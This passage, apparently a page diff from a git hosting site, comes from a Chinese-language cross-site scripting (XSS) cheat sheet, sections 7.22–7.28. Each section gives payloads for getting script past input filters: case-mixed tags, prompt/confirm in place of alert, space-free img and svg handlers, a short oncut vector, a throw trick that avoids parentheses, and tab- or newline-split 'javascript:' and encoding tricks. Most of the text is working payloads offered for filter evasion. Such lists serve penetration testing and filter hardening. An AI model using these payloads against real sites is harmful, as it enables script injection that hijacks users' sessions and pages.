||||
|
||||
```html
|
||||
<isindex type=image src=1 onerror=alert(1)>
|
||||
<isindex action=javascript:alert(1) type=image>
|
||||
```
|
||||
|
||||
当过滤掉javascript，alert等常见关键词，单引号，双引号，分号时，可以尝试使用以上不同的标签插入，达到弹出窗口的目的。
|
||||
|
||||
### 7.22 大小写绕过
|
||||
|
||||
`<sCript>`
|
||||
|
||||
### 7.23 alert被过滤
|
||||
|
||||
可以尝试prompt和confirm
|
||||
|
||||
### 7.24 空格被过滤
|
||||
|
||||
`<img/src=""onerror=alert(2)> <svg/onload=alert(2)></svg>`
|
||||
|
||||
### 7.25 长度限制
|
||||
|
||||
```html
|
||||
<q/oncut=alert(1)>//在限制长度的地方很有效
|
||||
```
|
||||
|
||||
### 7.26 括号被过滤
|
||||
|
||||
可以使用throw来抛出数据
|
||||
|
||||
```html
|
||||
<a onmouseover="javascript:window.onerror=alert;throw 1">2</a>
|
||||
<img src=x onerror="javascript:window.onerror=alert;throw 1">
|
||||
```
|
||||
|
||||
### 7.27 过滤某些关键字
|
||||
|
||||
如：javascript， 可以在属性中的引号内容中使用空字符、空格、TAB换行、注释、特殊的函数，将代码行隔开。如：javas%09cript:alert()、javas%0acript:alert()、javas%0dcript:alert()，其中%0a表示换行。
|
||||
|
||||
### 7.28 编码绕过
|
||||
|
||||
十六进制编码、jsfuck编码、url编码、unicode编码
|
||||
|
||||
```html
|
||||
<0x736372697074>alert('123')</0x736372697074>
|
||||
<img src="1" onerror="alert(1)">
|
||||
```
|
||||
Reference in New Issue
Block a user